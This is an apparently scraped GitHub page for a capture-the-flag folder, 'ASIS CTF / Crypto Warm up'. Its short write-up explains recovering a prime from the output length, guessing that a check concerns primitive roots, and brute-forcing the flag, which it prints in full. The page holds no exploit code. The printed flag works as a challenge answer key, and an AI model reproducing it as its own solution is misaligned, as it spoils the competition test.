16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/Lazzaro98/CTF/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/Lazzaro98/CTF/refs" cache-key="v0:1635286326.2960372" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="TGF6emFybzk4L0NURg==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/Lazzaro98/CTF/refs" cache-key="v0:1635286326.2960372" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="TGF6emFybzk4L0NURg==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF</span></span></span><span>/</span><span><span>ASIS CTF</span></span><span>/</span>Crypto Warm up<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF</span></span></span><span>/</span><span><span>ASIS CTF</span></span><span>/</span>Crypto Warm up<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/Lazzaro98/CTF/tree-commit/62c5a61f0566082cd7ef2ce40f4b9275bd4ddd32/ASIS%20CTF/Crypto%20Warm%20up" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/Lazzaro98/CTF/file-list/main/ASIS%20CTF/Crypto%20Warm%20up"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>README.MD</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Warmup.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>all_s_values.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>output.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solution.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> <div id="readme" class="Box MD js-code-block-container Box--responsive"> <div class="d-flex Box-header border-bottom-0 flex-items-center flex-justify-between color-bg-default rounded-top-2" > <div class="d-flex flex-items-center"> <h2 class="Box-title"> README.MD </h2> </div> </div> <div class="Popover anim-scale-in js-tagsearch-popover" hidden data-tagsearch-url="/Lazzaro98/CTF/find-definition" data-tagsearch-ref="main" data-tagsearch-path="ASIS CTF/Crypto Warm up/README.MD" data-tagsearch-lang="Markdown" data-hydro-click="{"event_type":"code_navigation.click_on_symbol","payload":{"action":"click_on_symbol","repository_id":391651928,"ref":"main","language":"Markdown","originating_url":"https://github.com/Lazzaro98/CTF/tree/main/ASIS%20CTF/Crypto%20Warm%20up","user_id":null}}" data-hydro-click-hmac="7a3283a6f65e9054bd5a13d73df77d741bbb8c579a14789db87b8c5f63e6f95b"> <div class="Popover-message Popover-message--large Popover-message--top-left TagsearchPopover mt-1 mb-4 mx-auto Box color-shadow-large"> <div class="TagsearchPopover-content js-tagsearch-popover-content overflow-auto" style="will-change:transform;"> </div> </div></div> <div data-target="readme-toc.content" class="Box-body px-5 pb-5"> <article class="markdown-body entry-content container-lg" itemprop="text"><h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Crypto Warm up</h1>We are given the encryption code and output.txt.The script concatenates random string to the flag and then perform encryption algorithm using random prime number with nbit bits. However, we can get the generated random prime number (p) by looking at the output string length which is 19489.We are not given the source code of the function is_valid, but we can guess that it is about primitive roots. So, using the primitive roots calculator, we can get all possible values of s.Now, that we have p value and list of possible s values, we can bruteforce our way to the flag. (using solution.py)ASIS{_how_d3CrYpt_Th1S_h0m3_m4dE_anD_wEird_CrYp70_5yST3M?!!!!!!}~ Solution by Dusan and me.</article> </div> </div> We are given the encryption code and output.txt. The script concatenates random string to the flag and then perform encryption algorithm using random prime number with nbit bits. However, we can get the generated random prime number (p) by looking at the output string length which is 19489. We are not given the source code of the function is_valid, but we can guess that it is about primitive roots. So, using the primitive roots calculator, we can get all possible values of s. Now, that we have p value and list of possible s values, we can bruteforce our way to the flag. (using solution.py) ASIS{_how_d3CrYpt_Th1S_h0m3_m4dE_anD_wEird_CrYp70_5yST3M?!!!!!!} ~ Solution by Dusan and me. </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 